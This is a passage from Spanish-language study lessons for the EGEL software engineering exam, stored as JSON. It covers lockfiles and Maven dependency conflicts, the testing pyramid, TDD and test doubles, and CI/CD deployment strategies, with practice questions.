lockfile de `.gitignore` y confirmándolo en el repositorio Git.\n  - En el pipeline de CI, sustituir el comando permisivo `npm install` por el comando determinista **`npm ci`** (*Clean Install*), el cual aborta la compilación si existe la menor discrepancia entre el `package.json` y el `package-lock.json`, garantizando builds 100% reproducibles.\n\n### Escenario B: Conflicto de Versión en Biblioteca de Logging Empresarial (Java)\n- **Problema:** Un microservicio importa dos librerías internas: `auditoria-core` (que depende de `slf4j-api:1.7.30`) y `mensajeria-kafka` (que depende de `slf4j-api:2.0.7`). Al arrancar el microservicio en Docker, la JVM lanza un `NoSuchMethodError` y se detiene.\n- **Diagnóstico y Decisión:**\n  - Inspeccionar el árbol de dependencias ejecutando `mvn dependency:tree` para identificar las rutas de transitividad.\n  - Forzar la versión más reciente compatible `2.0.7` mediante la sección `\u003cdependencyManagement\u003e` en el `pom.xml` padre o excluyendo explícitamente la versión obsoleta `1.7.30` en el bloque de `auditoria-core`.\n\n---\n\n## 6. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Ignorar el archivo Lockfile en el repositorio de control de versiones.**\n\u003e En preguntas sobre integración continua y reproducibilidad de software, marcar como ignorado (`.gitignore`) un archivo como `package-lock.json`, `Cargo.lock` o `poetry.lock` en una aplicación es un **antipatrón crítico** que destruye el determinismo del software.\n\n\u003e **Trampa 2: Confundir las fases `compile` y `package` de Maven.**\n\u003e La fase `compile` únicamente traduce el código fuente a archivos `.class` de bytecode; **no** genera el archivo ejecutable `.jar` o `.war`. El empaquetado del archivo comprimido distribuible ocurre en la fase **`package`**.\n\n\u003e **Trampa 3: Creer que `npm install` y `npm ci` hacen exactamente lo mismo en servidores.**\n\u003e - `npm install` puede modificar el `package-lock.json` si encuentra dependencias más recientes compatibles dentro del rango.\n\u003e - `npm ci` es para servidores de integración continua: **nunca modifica el lockfile**, borra la carpeta `node_modules` previa y realiza una instalación limpia y determinista basada estrictamente en el lockfile.\n\n---\n\n## 7. Autoevaluación Formativa\n\n### Pregunta 1\nDurante el proceso de compilación de un proyecto Java gestionado con Apache Maven, el pipeline de CI/CD falla al ejecutar la fase `verify` reportando una excepción `NoSuchMethodError` al invocar un método de una librería de serialización JSON. El comando `mvn dependency:tree` revela que dos dependencias directas del proyecto importan transitivamente dos versiones diferentes e incompatibles de dicha librería (`v1.2` y `v2.4`). ¿Cuál es el mecanismo técnico adecuado en Maven para resolver formalmente esta colisión de dependencias transitivas?\n- A) Desactivar la compilación estricta y forzar la ejecución en runtime ignorando las excepciones de métodos faltantes.\n- B) Utilizar la sección `\u003cdependencyManagement\u003e` en el `pom.xml` para fijar centralizadamente la versión compatible o utilizar etiquetas `\u003cexclusions\u003e` dentro de la dependencia directa que arrastra la versión obsoleta.\n- C) Renombrar manualmente los archivos binarios compilados en el disco local del desarrollador.\n- D) Reemplazar Maven por un script Bash que copie archivos `.class` directamente a la carpeta de producción.\n\n### Pregunta 2\n¿Por qué motivo de ingeniería de software es mandatorio confirmar (*commit*) en el repositorio de Git archivos como `package-lock.json`, `poetry.lock` o `Cargo.lock` en proyectos de software productivo?\n- A) Porque los lockfiles contienen las contraseñas y llaves criptográficas de acceso a los servidores de producción.\n- B) Porque garantizan la reproducibilidad determinista del build, fijando las versiones exactas y hashes de integridad de todas las dependencias directas y transitivas en cualquier entorno de despliegue o máquina de desarrollo.\n- C) Porque reducen el tamaño del repositorio Git al comprimir el código fuente.\n- D) Porque son requeridos obligatoriamente por el estándar ANSI SQL-92 para procesar transacciones.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 3.3.7 de esta subárea).*\n","title":"3.3.2 Herramientas de construcción, automatización de builds y gestión de dependencias"},{"children":[],"contentMd":"# La Pirámide de Pruebas, Pruebas Unitarias, TDD y Dobles de Prueba (Mocks, Stubs, Fakes)\n\nLa verificación automatizada es el cimiento de la ingeniería de software moderna. Un sistema sin pruebas automatizadas es un sistema no mantenible donde cada refactorización o corrección introduce regresiones colaterales impredecibles. En el examen EGEL de Ingeniería de Software, los reactivos evalúan la estructura de la pirámide de pruebas de Mike Cohn, el ciclo de desarrollo guiado por pruebas (TDD: Red-Green-Refactor), las propiedades F.I.R.S.T. de una prueba unitaria y la taxonomía formal de dobles de prueba (*Test Doubles*).\n\n---\n\n## 1. La Pirámide de Pruebas de Software (Mike Cohn)\n\nLa **Pirámide de Pruebas** establece la proporción óptima en la que deben distribuirse los diferentes tipos de pruebas automatizadas en una organización de software saludable:\n\n```\n                          ▲\n                         / \\\n                        /   \\\n                       / E2E \\       ◀── Cúspide: Pocas pruebas (Decenas)\n                      /  (UI) \\          Lentas, frágiles, costosas de mantener.\n                     /─────────\\\n                    /           \\\n                   / Integración \\   ◀── Nivel Medio: Moderadas (Cientos)\n                  /   (Servicios) \\      Verifican la interacción entre módulos y BD.\n                 /─────────────────\\\n                /                   \\\n               /  Pruebas Unitarias  \\ ◀── Base Amplia: Masivas (Miles)\n              /   (Aisladas y puras)  \\    Ultrarrápidas (\u003c 1 ms), baratas y deterministas.\n             └─────────────────────────┘\n```\n\n### Comparativa de Niveles de la Pirámide\n\n| Nivel de Prueba | Alcance y Objetivo | Velocidad de Ejecución | Costo y Fragilidad | ¿Usa dependencias reales (BD/Red)? |\n| :--- | :--- | :--- | :--- | :---: |\n| **Pruebas Unitarias (Unit Tests)** | Valida una función, método o clase aislada de forma microscópica. | **Extrema:** Miles de pruebas por segundo (milisegundos). | Mínimo costo; no se rompen por caídas de red ni cambios de UI. | **No.** Las dependencias externas se sustituyen por dobles de prueba. |\n| **Pruebas de Integración (Integration Tests)** | Valida la interacción correcta entre dos o más componentes reales (ej. repositorio con base de datos real o cliente con API HTTP). | Moderada (segundos a minutos para la suite). | Costo medio; requiere levantar contenedores o bases de datos de prueba. | **Sí.** Se prueba contra bases de datos en memoria/Docker o brokers reales. |\n| **Pruebas End-to-End (E2E / Sistema)** | Simula el flujo completo de un usuario real a través de la interfaz gráfica (UI) hasta el backend y la base de datos persistente. | Lenta (minutos a horas). | **Muy alto:** Muy frágiles (*flaky tests* por variaciones mínimas de CSS, latencia o animaciones). | **Sí.** Todo el sistema está encendido e integrado en producción o staging. |\n\n### El Antipatrón del Cono de Helado (Ice Cream Cone Antipattern)\nOcurre cuando una organización carece de pruebas unitarias y concentra el 90% de sus esfuerzos en pruebas de interfaz gráfica (E2E) automatizadas con herramientas como Selenium o pruebas manuales humanas.\n- *Consecuencias:* Tiempos de ejecución de horas que paralizan los pipelines de CI/CD, falsos positivos constantes por lentitud de red (*flakiness*) e incapacidad de identificar con precisión la línea exacta de código que causó el fallo.\n\n---\n\n## 2. Anatomía de una Prueba Unitaria de Excelencia\n\nUna prueba unitaria profesional debe estructurarse bajo el patrón **AAA (Arrange, Act, Assert)** o su equivalente en BDD **Given-When-Then**:\n\n```java\n@Test\nvoid calcularDescuento_clienteFrecuente_aplicaQuincePorCiento() {\n    // 1. ARRANGE (Given / Preparar): Configurar datos de prueba y dependencias\n    Cliente cliente = new Cliente(TipoCliente.FRECUENTE);\n    CalculadorDescuentos calculador = new CalculadorDescuentos();\n    double montoCompra = 1000.0;\n\n    // 2. ACT (When / Actuar): Invocar el método bajo prueba (Unit of Work)\n    double descuentoObtenido = calculador.calcular(cliente, montoCompra);\n\n    // 3. ASSERT (Then / Afirmar): Verificar que el resultado sea el esperado\n    assertEquals(150.0, descuentoObtenido, 0.001);\n}\n```\n\n### Las 5 Propiedades F.I.R.S.T. de una Prueba Unitaria\n\n| Letra | Principio | Regla de Ingeniería |\n| :---: | :--- | :--- |\n| **F** | **Fast (Rápida)** | La suite completa de miles de pruebas debe ejecutarse en pocos segundos. Si tarda minutos, los desarrolladores dejarán de correrlas localmente antes de hacer commit. |\n| **I** | **Independent (Aislada)** | Ninguna prueba debe depender del resultado o estado dejado por otra prueba. Pueden ejecutarse en cualquier orden aleatorio o en paralelo sin fallar. |\n| **R** | **Repeatable (Repetible)** | La prueba debe arrojar exactamente el mismo resultado (Pass/Fail) en cualquier máquina, sin importar si es la laptop del desarrollador, el servidor de CI o si es lunes o domingo (cero dependencia de red o reloj del sistema sin mock). |\n| **S** | **Self-validating (Autoevaluable)** | La prueba debe arrojar un resultado booleano indiscutible: **Pasa (Verde) o Falla (Rojo)**. No debe requerir que un ser humano inspeccione logs o archivos de texto para saber si fue exitosa. |\n| **T** | **Timely (Oportuna)** | Las pruebas deben escribirse en el momento oportuno: justo antes o inmediatamente a la par del código de producción (siguiendo TDD), no meses después como un trámite de auditoría tardío. |\n\n---\n\n## 3. Test-Driven Development (TDD): El Ciclo Red-Green-Refactor\n\nKent Beck formuló el ciclo de **Desarrollo Guiado por Pruebas (TDD)** como una disciplina de diseño de software guiada por pruebas cortas:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        EL CICLO DE TDD                                 │\n│                                                                        │\n│                  ┌───────────────────────────────┐                     │\n│                  ▼                               │                     │\n│           ┌─────────────┐                        │                     │\n│           │  1. ROJO    │ Escribir una prueba    │                     │\n│           │   (Red)     │ unitaria que FALLE     │                     │\n│           └──────┬──────┘                        │                     │\n│                  │                               │                     │\n│                  ▼                               │                     │\n│           ┌─────────────┐                        │                     │\n│           │  2. VERDE   │ Escribir el código     │                     │\n│           │   (Green)   │ MÍNIMO para que pase   │                     │\n│           └──────┬──────┘                        │                     │\n│                  │                               │                     │\n│                  ▼                               │                     │\n│           ┌─────────────┐                        │                     │\n│           │ 3. REFACTOR │ Limpiar diseño, quitar │                     │\n│           │ (Refactor)  │ duplicación (con red   │                     │\n│           └─────────────┘ de seguridad verde)────┘                     │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n1. **Fase Roja (Red):** Se escribe una prueba unitaria que describe un incremento minúsculo de funcionalidad deseada. La prueba **debe fallar** inicialmente (o ni siquiera compilar), demostrando que la prueba es capaz de detectar la ausencia de la funcionalidad.\n2. **Fase Verde (Green):** Se escribe el código de producción más simple y rápido posible para hacer que la prueba pase (incluso retornando valores literales enlatados si es necesario). El único objetivo es volver a tener la suite en verde.\n3. **Fase de Refactorización (Refactor):** Con todas las pruebas pasando en verde (la red de seguridad), se limpia el código: se eliminan duplicaciones, se mejoran nombres de variables, se extraen métodos o se aplican patrones de diseño. Si se rompe algo, las pruebas lo avisan instantáneamente.\n\n---\n\n## 4. Taxonomía Formal de Dobles de Prueba (Test Doubles)\n\nGerard Meszaros y Martin Fowler categorizaron los dobles de prueba en cinco tipos precisos. Confundir un *Mock* con un *Stub* es la trampa más común en el EGEL:\n\n```\n                                  TEST DOUBLE (Genérico)\n                                             │\n     ┌──────────────────┬────────────────────┼───────────────────┬──────────────────┐\n     ▼                  ▼                    ▼                   ▼                  ▼\n   DUMMY              STUB                  SPY                 MOCK               FAKE\n• Objeto relleno   • Respuestas enlatadas• Stub espía        • Verifica llamadas • Implementación\n• Nunca usado      • when().thenReturn() • Registra llamadas   exactas esperadas   funcional real\n• Parámetro vacío  • No verifica llamadas• llamadas, params  • verify().metodo()   pero simplificada\n```\n\n| Tipo de Doble | Definición Formal de Ingeniería | Ejemplo Representativo | Cuándo Utilizarlo |\n| :--- | :--- | :--- | :--- |\n| **Dummy** | Objetos que se pasan como argumentos en métodos pero que **nunca se utilizan internamente**. Solo se emplean para satisfacer la lista obligatoria de parámetros del constructor o método. | Pasar `new AuditoriaDummy()` a un constructor cuando la prueba actual solo evalúa el cálculo de impuestos y no invoca la auditoría. | Rellenar parámetros obligatorios que no intervienen en el escenario bajo prueba. |\n| **Stub** | Provee **respuestas enlatadas fijas preprogramadas** a las llamadas realizadas durante la prueba. No le importa cuántas veces fue llamado ni con qué parámetros; solo devuelve datos ficticios para que el código bajo prueba pueda continuar. | `when(tipoCambioService.obtenerDolar()).thenReturn(18.50);` | Aislar el código de servicios externos lentos o impredecibles (lectura de datos). |\n| **Spy** | Un Stub avanzado que además **registra telemetría sobre cómo fue utilizado** (cuántas veces fue invocado, qué argumentos recibió). Permite inspeccionar su historial posteriormente. | Un espía sobre un servicio de correo que registra que se intentó enviar un email a `\"cliente@banco.com\"` con el asunto `\"Factura\"`. | Verificar efectos secundarios indirectos cuando no se puede consultar el estado del objeto. |\n| **Mock** | Objeto preprogramado con **expectativas estrictas de comportamiento**. Verifica que ciertas llamadas ocurran obligatoriamente con parámetros específicos. **Si la llamada esperada no se produce, la prueba falla.** | `verify(pasarelaPagoMock, times(1)).cobrar(\"token_123\", 500.0);` | Probar interacción y protocolos de comunicación entre componentes (verificación de comportamiento). |\n| **Fake** | Posee una **implementación funcional real en memoria**, pero simplificada mediante atajos técnicos que la hacen inadecuada para producción pero perfecta para pruebas. | Un repositorio que usa un `HashMap\u003cId, Usuario\u003e` en memoria en lugar de conectarse a una base de datos PostgreSQL real. | Pruebas de integración rápidas donde se requiere persistencia real en memoria sin levantar infraestructura pesada. |\n\n---\n\n## 5. Escenarios de Decisión Profesional\n\n### Escenario A: Prueba Unitaria del Procesamiento de Cobro con Tarjeta\n- **Problema:** Se requiere probar la clase `ServicioOrdenes.procesarPago(Orden orden)`. La clase invoca internamente a `PasarelaStripe.cobrar(Tarjeta t, double monto)` y a `ServicioNotificaciones.enviarSMS(String tel)`.\n- **Análisis de Dobles:**\n  - Si se invoca la pasarela real de Stripe, se consumen créditos reales de red, se requiere conexión a internet y la prueba tarda 2 segundos.\n  - Para la pasarela de pago, se requiere verificar que se invoque el cobro por el monto exacto una sola vez: **Mock** (`verify(stripeMock).cobrar(...)`).\n  - Para obtener el tipo de cambio de divisas que requiere la orden, se requiere un **Stub** que devuelva `18.50` deterministamente.\n  - Para el servicio de SMS que no afecta la lógica financiera, se puede usar un **Dummy** o un **Spy**.\n- **Resultado:** La prueba se ejecuta en 2 milisegundos de forma totalmente aislada y determinista.\n\n---\n\n## 6. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Confundir un Mock con un Stub.**\n\u003e - Un **Stub** se utiliza para **verificación de estado**: alimenta datos hacia el código bajo prueba (`when().thenReturn()`).\n\u003e - Un **Mock** se utiliza para **verificación de comportamiento**: comprueba si el código bajo prueba interactuó correctamente hacia el exterior (`verify()`).\n\n\u003e **Trampa 2: Conectar pruebas unitarias a una base de datos real MySQL o SQL Server.**\n\u003e Una prueba que se conecta a una base de datos física a través de un puerto TCP/IP de red **no es una prueba unitaria; es una prueba de integración**. Las pruebas unitarias deben ejecutarse 100% en memoria en milisegundos.\n\n\u003e **Trampa 3: Usar TDD para escribir todas las pruebas después de terminar todo el proyecto.**\n\u003e En el paradigma de Kent Beck, TDD exige escribir la prueba unitaria **antes** de escribir el código de producción (fase roja previa). Escribir pruebas al final no es TDD; es testing tradicional retrospectivo.\n\n---\n\n## 7. Autoevaluación Formativa\n\n### Pregunta 1\nDurante el diseño de pruebas unitarias para un microservicio de comercio electrónico, el equipo necesita probar el método `despacharPedido(Pedido p)`. El método invoca una interfaz externa `IPasarelaBancaria.cobrar(monto)`. Para considerar exitosa la prueba unitaria, se debe verificar estrictamente que el método `cobrar` haya sido invocado exactamente una sola vez con el monto exacto del pedido, fallando la prueba si dicha invocación no se produjo. ¿Qué tipo específico de doble de prueba (*Test Double*) debe emplearse?\n- A) Un Dummy.\n- B) Un Fake.\n- C) Un Mock preprogramado con verificación de comportamiento de llamadas.\n- D) Una prueba End-to-End en el navegador del usuario.\n\n### Pregunta 2\nUn equipo de desarrollo adopta la disciplina de Test-Driven Development (TDD). Al iniciar una nueva tarea para validar que un campo de contraseña acepte únicamente cadenas de al menos 8 caracteres con números, un desarrollador escribe primero toda la clase de negocio con 150 líneas de código, la prueba manualmente en su máquina y al final de la jornada escribe tres pruebas unitarias para documentar el código. ¿Qué principio medular de TDD ha transgredido este desarrollador?\n- A) Violó el ciclo Red-Green-Refactor, el cual exige escribir primero una prueba unitaria que falle (Rojo) antes de codificar la implementación mínima de producción (Verde).\n- B) Violó el Teorema de Böhm-Jacopini al usar expresiones regulares en contraseñas.\n- C) Violó el Principio de Abierto/Cerrado al no utilizar el patrón Singleton.\n- D) Las pruebas unitarias solo pueden escribirse después de compilar en el entorno de staging.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 3.3.7 de esta subárea).*\n","title":"3.3.3 La pirámide de pruebas, pruebas unitarias, TDD y dobles de prueba (Mocks, Stubs, Fakes)"},{"children":[],"contentMd":"# Integración Continua (CI), Entrega Continua (CD) y Estrategias de Despliegue Sin Inactividad\n\nLa aceleración del ciclo de entrega de software sin comprometer la estabilidad operativa es el objetivo cardinal de la cultura DevOps. Los procesos manuales de compilación, copia de archivos vía FTP o reinicio manual de servidores son fuentes intolerables de errores humanos y caídas de servicio. En el examen EGEL de Ingeniería de Software, los reactivos evalúan la distinción formal entre Integración Continua, Entrega Continua y Despliegue Continuo, las fases de un pipeline automatizado y la selección fundamentada de estrategias de despliegue sin tiempo de inactividad (*Zero-Downtime Deployments* como Blue-Green y Canary).\n\n---\n\n## 1. El Espectro de Automatización: CI vs Continuous Delivery vs Continuous Deployment\n\nUno de los reactivos conceptuales más frecuentes en CENEVAL exige distinguir con precisión matemática las tres fronteras de la automatización moderna:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        EL ESPECTRO CI / CD                             │\n│                                                                        │\n│   INTEGRACIÓN CONTINUA (CI)                                            │\n│   [Código] ──▶ [Compilación] ──▶ [Pruebas Automatizadas]               │\n│   (Garantiza que el código en el repositorio central SIEMPRE compila   │\n│    y pasa todas las pruebas unitarias e integrales)                    │\n│                                                                        │\n│   ENTREGA CONTINUA (Continuous Delivery)                               │\n│   [CI Completo] ──▶ [Empaquetado] ──▶ [Staging] ──▶ [Botón Manual]     │\n│   (El software está SIEMPRE en un estado potencialmente desplegable a  │\n│    producción, pero el paso final requiere APROBACIÓN HUMANA EXPLÍCITA)│\n│                                                                        │\n│   DESPLIEGUE CONTINUO (Continuous Deployment)                          │\n│   [CI Completo] ──▶ [Empaquetado] ──▶ [Staging] ──▶ [PRODUCCIÓN AUTO]  │\n│   (CERO INTERVENCIÓN HUMANA: Todo commit que pasa la batería de        │\n│    pruebas se despliega automáticamente a los usuarios finales)        │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Tabla Comparativa Esencial\n\n| Criterio | Integración Continua (CI) | Entrega Continua (Continuous Delivery) | Despliegue Continuo (Continuous Deployment) |\n| :--- | :--- | :--- | :--- |\n| **Alcance Final** | Verificación en el repositorio central (Build + Tests). | Despliegue automatizado en entornos de prueba (Staging) y generación de binarios listos. | Despliegue directo a los servidores de **Producción**. |\n| **Intervención Humana en Producción** | N/A (no contempla despliegue productivo). | **Obligatoria:** Un gerente, QA lead o Product Owner presiona un botón de aprobación. | **Ninguna:** Proceso 100% automatizado mediante pipelines y telemetría. |\n| **Frecuencia Típica** | Múltiples veces al día por desarrollador. | Al final de cada sprint o según demanda del negocio. | Múltiples veces al día directamente a producción. |\n| **Requisito de Madurez** | Pruebas unitarias automatizadas y control de versiones centralizado. | Infraestructura como Código (IaC), ambientes homogéneos de Staging y pruebas de integración. | **Monitoreo avanzado en tiempo real**, métricas automáticas de reversión (*Rollback*) y pruebas exhaustivas. |\n\n---\n\n## 2. Anatomía de un Pipeline de CI/CD Canónico\n\nUn **pipeline** es la secuencia automatizada de etapas por las que transita el código desde que el desarrollador hace `git push` hasta que el artefacto corre en los servidores:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        FASES DE UN PIPELINE INDUSTRIAL                 │\n│                                                                        │\n│   1. Trigger (Disparador): Webhook activado por Push o Pull Request    │\n│            │                                                           │\n│   2. Linting y Estilo: Verificación de convenciones y formato estático │\n│            │                                                           │\n│   3. Seguridad SAST: Análisis estático de código y CVEs de dependencias│\n│            │                                                           │\n│   4. Build \u0026 Compile: Compilación determinista basada en Lockfiles     │\n│            │                                                           │\n│   5. Test Execution: Pruebas unitarias, integración y cobertura (\u003e80%) │\n│            │                                                           │\n│   6. Artifact Packaging: Creación de imagen Docker con tag inmutable   │\n│            │                                                           │\n│   7. Deploy to Staging: Despliegue a réplica exacta de producción      │\n│            │                                                           │\n│   8. Smoke Tests: Verificación en caliente de endpoints vitales        │\n│            │                                                           │\n│   9. Production Release: Despliegue sin inactividad (Blue-Green/Canary)│\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## 3. Estrategias de Despliegue Sin Tiempo de Inactividad (Zero-Downtime)\n\nAl actualizar una aplicación en producción, suspender el servicio con un mensaje de \"Sitio en mantenimiento\" es inaceptable en sistemas financieros, comercio electrónico y salud. Existen cuatro estrategias formales de despliegue:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        ESTRATEGIAS DE DESPLIEGUE                       │\n│                                                                        │\n│   A. RECREACIÓN (Recreate):                                            │\n│      Apaga v1 ──▶ [Ventana de Downtime / Caída] ──▶ Enciende v2        │\n│                                                                        │\n│   B. ROLLING UPDATE (Actualización Progresiva):                        │\n│      Instancias: [v1] [v1] [v1] [v1] ──▶ [v2] [v1] [v1] [v1]           │\n│              ──▶ [v2] [v2] [v1] [v1] ──▶ [v2] [v2] [v2] [v2]           │\n│                                                                        │\n│   C. BLUE-GREEN DEPLOYMENT (Azul-Verde):                               │\n│      Enrutador ──▶ [ Entorno AZUL (v1 Activo en Prod) ]                │\n│                    [ Entorno VERDE (v2 Desplegado y Testeado en Frío) ]│\n│      ¡Conmutación instantánea del Router de Azul a Verde!              │\n│                                                                        │\n│   D. CANARY RELEASE (Despliegue Canario):                              │\n│      Enrutador ──┬── 95% Tráfico ──▶ [ Versión v1 Estable ]            │\n│                  └──  5% Tráfico ──▶ [ Versión v2 Piloto (Canario) ]   │\n│      Si métricas de error son normales ──▶ Aumenta a 25%, 50%, 100%    │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Matriz Comparativa de Estrategias de Despliegue\n\n| Estrategia | Tiempo de Inactividad (Downtime) | Costo de Infraestructura | Velocidad de Rollback ante Fallos | Radio de Impacto ante Bugs Críticos (*Blast Radius*) |\n| :--- | :---: | :---: | :--- | :--- |\n| **Recreación (Recreate)** | **Existe Downtime.** Los servidores se apagan antes de encender los nuevos. | Mínimo (no requiere máquinas adicionales). | Lento (requiere volver a reinstalar v1 desde cero). | **100% de los usuarios** sufren la caída. |\n| **Rolling Update** | **Cero Downtime.** Las instancias se reemplazan progresivamente una a una. | Bajo (usa la misma infraestructura con 1 o 2 pods adicionales temporales). | Moderado (debe revertir progresivamente instancia por instancia). | Los usuarios distribuidos entre v1 y v2 ven versiones mixtas durante el despliegue. |\n| **Blue-Green** | **Cero Downtime.** Conmutación atómica a nivel de balanceador de carga o DNS. | **Alto:** Requiere duplicar temporalmente el 100% de los servidores (dos ambientes idénticos). | **Instantáneo:** Basta volver a conmutar el balanceador de regreso al entorno Azul. | Afecta a todos los usuarios desde el momento de la conmutación si no se detectó el bug. |\n| **Canary Release** | **Cero Downtime.** Enrutamiento porcentual progresivo basado en métricas. | Moderado a alto (requiere balanceadores inteligentes o Service Mesh como Istio). | Rápido (reducir el tráfico canario a 0%). | **Mínimo:** Solo el 1% al 5% de los usuarios experimentan el error antes de abortar. |\n\n---\n\n## 4. Pruebas de Humo (Smoke Tests) y Salud del Despliegue\n\nInmediatamente después de desplegar un artefacto en un entorno, el pipeline debe ejecutar **Pruebas de Humo (Smoke Testing)**:\n- Consisten en una batería mínima de comprobaciones superficiales pero críticas para verificar que la aplicación esté encendida, responda al puerto HTTP, pueda conectarse a la base de datos y sus endpoints vitales no arrojen errores `500` (*Health Checks* con endpoints tipo `/health` o `/readiness`).\n- Si las pruebas de humo fallan, el pipeline aborta la promoción a producción y ejecuta automáticamente una reversión (*Rollback*).\n\n---\n\n## 5. Escenarios de Decisión Profesional\n\n### Escenario A: Pasarela de Pagos Crítica con Tolerancia Cero a Errores\n- **Problema:** Una pasarela bancaria nacional procesa 30,000 transacciones por minuto. El equipo desplegará una versión con una reescritura del motor de prevención de fraudes. Un fallo masivo en producción generaría pérdidas millonarias en segundos.\n- **Decisión de Despliegue:** **Canary Release combinado con monitoreo de métricas de telemetría**.\n- **Fundamentación:** Se enruta únicamente el 1% del tráfico de transacciones al nuevo motor canario. Los sistemas de telemetría (Prometheus/Grafana) vigilan la tasa de rechazos de pago y latencia $p99$. Si tras 15 minutos la tasa de anomalías es idéntica o inferior a la versión base, se incrementa al 10%, 50% y finalmente 100%. Si ocurre una anomalía, se regresa al 0% afectando a una fracción insignificante de operaciones.\n\n### Escenario B: Plataforma SaaS con Presupuesto para Duplicar Ambientes y Rollback Instantáneo\n- **Problema:** Un sistema de nóminas empresariales requiere actualizarse sin interrupción del servicio, garantizando que si surge un problema de cálculo imprevisto tras el lanzamiento, el sistema pueda regresar a la versión previa en menos de 5 segundos.\n- **Decisión de Despliegue:** **Blue-Green Deployment**.\n- **Fundamentación:** El ambiente Verde se despliega y verifica exhaustivamente en caliente. Al conmutar el router, los usuarios acceden a Verde. Si el equipo detecta una discrepancia en los cálculos contables, el balanceador redirige el tráfico al ambiente Azul en un solo clic, logrando un *Rollback* instantáneo sin tiempos de reinstalación.\n\n---\n\n## 6. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Confundir Entrega Continua (Continuous Delivery) con Despliegue Continuo (Continuous Deployment).**\n\u003e - Si el reactivo menciona que los artefactos se generan y validan automáticamente pero **un ser humano aprueba manualmente la salida a producción**, se trata de **Continuous Delivery**.\n\u003e - Si el código pasa las pruebas y se libera a los usuarios finales de forma **completamente autónoma y automática sin botones manuales**, es **Continuous Deployment**.\n\n\u003e **Trampa 2: Afirmar que Blue-Green Deployment es la estrategia más barata en costos de infraestructura.**\n\u003e Blue-Green es la estrategia **más costosa** en infraestructura porque exige mantener dos entornos de hardware/nube idénticos (duplica el costo de cómputo y bases de datos mientras ambos entornos coexisten).\n\n\u003e **Trampa 3: Omitir la compatibilidad de base de datos en Rolling Updates.**\n\u003e En un Rolling Update, las instancias viejas (v1) y las nuevas (v2) conviven conectadas a la misma base de datos durante minutos. Cualquier cambio en la base de datos debe ser retrocompatible (ejemplo: agregar una nueva columna como nullable; nunca renombrar o borrar una columna que v1 todavía esté consultando).\n\n---\n\n## 7. Autoevaluación Formativa\n\n### Pregunta 1\nUna organización de comercio minorista requiere actualizar su sistema web de ventas sin interrumpir las compras de los clientes (cero tiempo de inactividad). La dirección exige que, ante cualquier fallo crítico detectado tras el despliegue, la reversión a la versión anterior deba ser prácticamente **instantánea (en menos de diez segundos)**, aun cuando esto implique asumir el costo de duplicar la infraestructura de servidores durante el proceso de lanzamiento. ¿Qué estrategia de despliegue satisface exactamente estos requerimientos?\n- A) Estrategia de Recreación (*Recreate*).\n- B) Despliegue Azul-Verde (*Blue-Green Deployment*).\n- C) Actualización Manual nocturna con detención de servicios.\n- D) Despliegue directo editando el código PHP en el servidor activo.\n\n### Pregunta 2\nEn una auditoría de procesos DevOps, se analiza el flujo de trabajo de un equipo de software. El pipeline compila automáticamente el código ante cada commit, ejecuta las pruebas unitarias y de integración, genera la imagen Docker inmutable y la despliega automáticamente en el entorno de Staging. Sin embargo, para enviar la nueva versión al entorno de producción para los usuarios finales, se requiere obligatoriamente que el Director de Tecnología presione un botón de autorización en la consola web de control. ¿Cómo se clasifica formalmente este nivel de madurez en el espectro CI/CD?\n- A) Integración Continua exclusivamente (CI).\n- B) Entrega Continua (*Continuous Delivery*).\n- C) Despliegue Continuo (*Continuous Deployment*).\n- D) Desarrollo Cascada Clásico sin automatización.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 3.3.7 de esta subárea).*\n","title":"3.3.4 Integración continua (CI), entrega continua (CD) y estrategias de despliegue sin inactividad"},{"children":[],"contentMd":"# Escenarios Profesionales de Decisión en Entornos de Desarrollo, Testing y CI/CD\n\nEn el examen EGEL de Ingeniería de Software, los reactivos de mayor complejidad cognitiva en el área de desarrollo evalúan tu capacidad de diagnóstico y resolución de cuellos de botella organizacionales: desde pipelines de integración continua lentos y pruebas frágiles (*flaky tests*), hasta la transición de modelos de ramificación obsoletos y el diseño de estrategias de despliegue que minimizan el radio de impacto ante fallas catastróficas.\n\nEsta lección analiza cuatro macro-escenarios profesionales representativos del examen.\n\n---\n\n## 1. Escenario 1: Rescate de un Pipeline de CI/CD Paralizado por Pruebas Frágiles (Flaky Tests)\n\n### Contexto y Restricciones\n- **Dominio:** Plataforma de educación en línea con 35 desarrolladores.\n- **Problema diagnosticado:** Cada vez que un desarrollador abre un Pull Request, el pipeline de CI tarda **3 horas y media** en completarse. Para empeorar la situación, el 40% de las ejecuciones fallan por razones no relacionadas con el código (ej. un selector de CSS tardó 100 ms más en cargar en Selenium, o una API meteorológica externa no respondió a tiempo).\n- **Consecuencia de negocio:** Los ingenieros han comenzado a ignorar los fallos del pipeline y solicitan aprobaciones de emergencia para desplegar sin pruebas, provocando caídas constantes en producción.\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│               DIAGNÓSTICO: EL ANTIPATRÓN DEL CONO DE HELADO           │\n│                                                                        │\n│   Estado Actual (Disfuncional):                                        │\n│   • Pruebas E2E de UI (Selenium): 850 pruebas (Lentas y frágiles)      │\n│   • Pruebas de Integración:       120 pruebas                          │\n│   • Pruebas Unitarias aisladas:    45 pruebas                          │\n│   Tiempo total: 3.5 horas. Tasa de fallo espurio: 40%.                 │\n│                                                                        │\n│   Estrategia de Transformación hacia la Pirámide de Cohn:              │\n│   1. Reubicar pruebas de reglas de negocio de la UI a Unitarias puras  │\n│   2. Sustituir dependencias externas por dobles de prueba (Stubs/Mocks)│\n│   3. Paralelizar la ejecución de suites en múltiples agentes de CI     │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Decisión de Ingeniería Justificada\n- **Acciones Correctivas:**\n  1. **Reestructurar la batería de pruebas:** Mover el 80% de las validaciones de negocio 